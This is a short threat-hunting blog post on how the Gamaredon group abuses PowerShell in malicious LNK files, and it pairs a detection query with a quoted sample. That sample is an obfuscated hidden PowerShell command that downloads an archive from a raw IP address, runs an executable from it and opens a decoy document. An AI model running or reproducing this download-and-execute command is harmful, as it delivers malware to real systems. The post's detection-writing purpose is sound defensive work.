090. Hunting for Gamaredon's PowerShell Abuse
Hello everyone! We haven't talked about PowerShell abuse for some time, but I think we can continue. And Gamaredon will help us!
The group continues to distribute malicious LNK files, which contain PowerShell code to download and execute the payload, and open the decoy document, for example:
powershell.exe -WindowStyle hidden echo DsuXBGtDPVpafNQKWfGNQXRPehfejEMnZWqvtPFEKrDQRtLDoRtJCcMjEFenVKrryMHia; Write-HostZVRjgZrFwKSbjNrBtIujdNLLlPq; if (-not(Test-Path iscabv.''zi''p -PathType Leaf)){echo vgUYzpRfaoGxgCSuzlmZCRxmXRnGJKBwooBEEoJgvYqjRXoXTHaspGDtNMuMovanuZezIbSYgAmXMqDOLMczhxmvJtkBJPsVai; &(g''cm i******w*****r) -uri h''t''tp:''//''146''.''1''85''.''233''.''90''/iscabv.''zi''p -OutFile iscabv.''zi''p}; Expand-Archive -Path iscabv.''zi''p -DestinationPath Drvx64; star''t Drvx64/IsCabView.''e''xe; echo ihdfDvzZhaId; &(g''c''m *******ke-****est) -uri h''t''tp:''//''146''.''1''85''.''233''.''90''/oudid/Nak0579.doc -OutFile Nak0579.doc; sta''rt Nak0579.doc
As you can see, there are quite a few interesting command line parameters we can use for detection and hunting. I've chosen "WindowStyle hidden echo" and "Expand-Archive":
event_type: "processcreatewin"
AND
proc_file_name: "powershell.exe"
AND
cmdline: ("WindowStyle hidden echo" AND "Expand-Archive")
What's more, you can use similar approach to hunt for similar files, for example, on VirusTotal.
Happy hunting and see you tomorrow!
Comments
Post a Comment